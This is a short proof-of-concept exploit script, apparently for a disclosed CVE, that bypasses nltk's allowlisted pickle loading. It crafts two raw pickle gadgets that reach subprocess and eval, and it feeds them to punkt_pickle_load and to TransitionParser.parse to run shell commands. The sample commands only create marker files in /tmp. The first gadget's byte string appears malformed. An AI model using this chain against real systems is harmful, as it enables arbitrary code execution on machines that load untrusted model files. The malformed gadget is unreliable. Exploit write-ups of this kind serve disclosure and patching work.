CVE-2026-79657: nltk Allowlisted Pickle Loader Remote Code Execution

import pickle, io

# Gadget 1: punkt_pickle_load path
# Calls nltk.tokenize.repp.ReppTokenizer._execute via pickle REDUCE,
# which internally calls subprocess.Popen with attacker-controlled args.
gadget1 = (
    b"cnltk.tokenize.repp\n"
    b"ReppTokenizer\n"
    b"(tR"
    b"}_execute\n"
    # REDUCE: invoke _execute('touch /tmp/PUNKT_RCE')
    b"cnltk.tokenize.repp\nReppTokenizer._execute\n"
    b"(V touch /tmp/PUNKT_RCE\ntR."
)

# Gadget 2: TransitionParser.parse path
# Calls numpy.f2py.crackfortran.myeval via pickle REDUCE,
# which calls eval() on the attacker-supplied string.
gadget2 = (
    b"cnumpy.f2py.crackfortran\n"
    b"myeval\n"
    b"(V__import__('os').system('touch /tmp/TP_RCE')\ntR."
)

# Deliver gadget1 to punkt_pickle_load
from nltk.tokenize.punkt import punkt_pickle_load
punkt_pickle_load(io.BytesIO(gadget1))

# Deliver gadget2 via TransitionParser.parse (reads path from file)
# TransitionParser.parse calls allowlisted_pickle_load(path, allowed_modules=("numpy","scipy","sklearn"))
from nltk.parse.transitionparser import TransitionParser
with open('/tmp/tp_payload.pkl', 'wb') as f:
    f.write(gadget2)
TransitionParser.parse(None, '/tmp/tp_payload.pkl', None)